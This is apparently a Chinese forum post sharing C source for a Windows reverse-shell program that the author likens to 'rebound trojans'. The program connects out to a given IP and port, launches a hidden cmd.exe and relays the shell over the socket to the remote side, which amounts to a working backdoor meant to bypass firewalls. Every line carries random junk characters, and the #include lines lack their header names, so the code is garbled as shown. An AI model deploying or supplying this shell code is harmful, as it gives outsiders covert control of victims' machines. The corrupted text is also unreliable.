这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 vTEkh0Ys
7x]nY. \
/* ============================== {4 d$]o0V
Rebound port in Windows NT [L(l++.z
By wind,2006/7 7tpZE+OX
===============================*/ pdHb
#include (R<4"QbE
#include Rx"Qwi, \U
)It4al^\
#pragma comment(lib,"wsock32.lib") <^_?hN8.
@]tGfr;le&
void OutputShell(); 15:@pq\
SOCKET sClient; TjK5UML
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 90ag!
jq)|7_N
void main(int argc,char **argv) P0(~~z&%[
{ PZR%8 m}]u
WSADATA stWsaData; @R&D["!
int nRet; |Z^g\l.j{
SOCKADDR_IN stSaiClient,stSaiServer; ` W>B8
E|;5Z*
if(argc != 3) &RrQ()<as
{ 5O W(] y|
printf("Useage:\n\rRebound DestIP DestPort\n"); tQaCNS$=
return; piotd,
} hF7mJ\
6<$|;w-OV
WSAStartup(MAKEWORD(2,2),&stWsaData); JJ0
CM:xe
ejY5n2V#=
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 26VdRy{[
P$>kBW53
stSaiClient.sin_family = AF_INET; ee^_Dh4
stSaiClient.sin_port = htons(0); :+Ax3
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); gtGKV
aQ:f"0fL
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 'sBXH EZA]
{ 'm5(MC,
printf("Bind Socket Failed!\n"); 32LB*zc
return; <&%1pZ/6.
} C(HmLEB^
5a!e%jj
stSaiServer.sin_family = AF_INET; PB67?d~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pNQkKDbL+
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); pQ:PwyU
2\\3<
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Su$ 1 t
{ G?d,$NMo|
printf("Connect Error!"); b]&zDo|8
return; F'$S!K58
} $jh>zf
OutputShell(); )9*3^v
} gNN"
H#=2
sg"D;b:X
void OutputShell() Z"|P(]A
{ ]</4#?_
char szBuff[1024]; PbHh?iH
SECURITY_ATTRIBUTES stSecurityAttributes; *Yu\YjLPG
OSVERSIONINFO stOsversionInfo; -yQ\3wli`
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^r_lj$:+$
STARTUPINFO stStartupInfo; LA`VqJ
char *szShell; x0h3jw+6
PROCESS_INFORMATION stProcessInformation; ![]I%'s
unsigned long lBytesRead; )c >B23D
/+t[,
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &:I
+]G/W
LZC?383'
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =&VXn{e
stSecurityAttributes.lpSecurityDescriptor = 0; 5 t`ap
stSecurityAttributes.bInheritHandle = TRUE; ^+Vk#_2Q
,Zf!KQw
J-\?,4mcP
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); RL
Zf{Q>
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); TWR$D
t<k[W'#
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s
P4,S(+e
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jc.JX_/
stStartupInfo.wShowWindow = SW_HIDE; B%J%TR_
stStartupInfo.hStdInput = hReadPipe; "I}Z2
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; l5Wa'~0qA
?5v5:U(A
GetVersionEx(&stOsversionInfo); {I-a;XBX
mHEf-6|C`
switch(stOsversionInfo.dwPlatformId) 7Jx-W|
{ ivX37,B\bS
case 1: <j
9Mt=8M
szShell = "command.com"; "x|NG,<[9
break; }t51U0b%
default: XCIa2Syo
szShell = "cmd.exe"; hJ[mf1je=
break; R=?po=
} "c/s/$k//
t0J5v ;
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !UMo4}Y
&u1g7#
#
send(sClient,szMsg,77,0); V9E6W*IE
while(1) Lkl|4L
{ x:?a;m uf
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); '#N5i
if(lBytesRead) #jLaIXms
{ _0W;)v
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); i,IM?+4
send(sClient,szBuff,lBytesRead,0); KHlIK`r
} 3U~lI&
else J/x@$'
{ +:,`sdv6o
lBytesRead=recv(sClient,szBuff,1024,0); xe6_RO%
if(lBytesRead<=0) break; %+xwk=%*
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); r[v-?W'
} 80$0zbw$
} &6t3SZV
xEiX<lguyN
return; Sc'c$/
}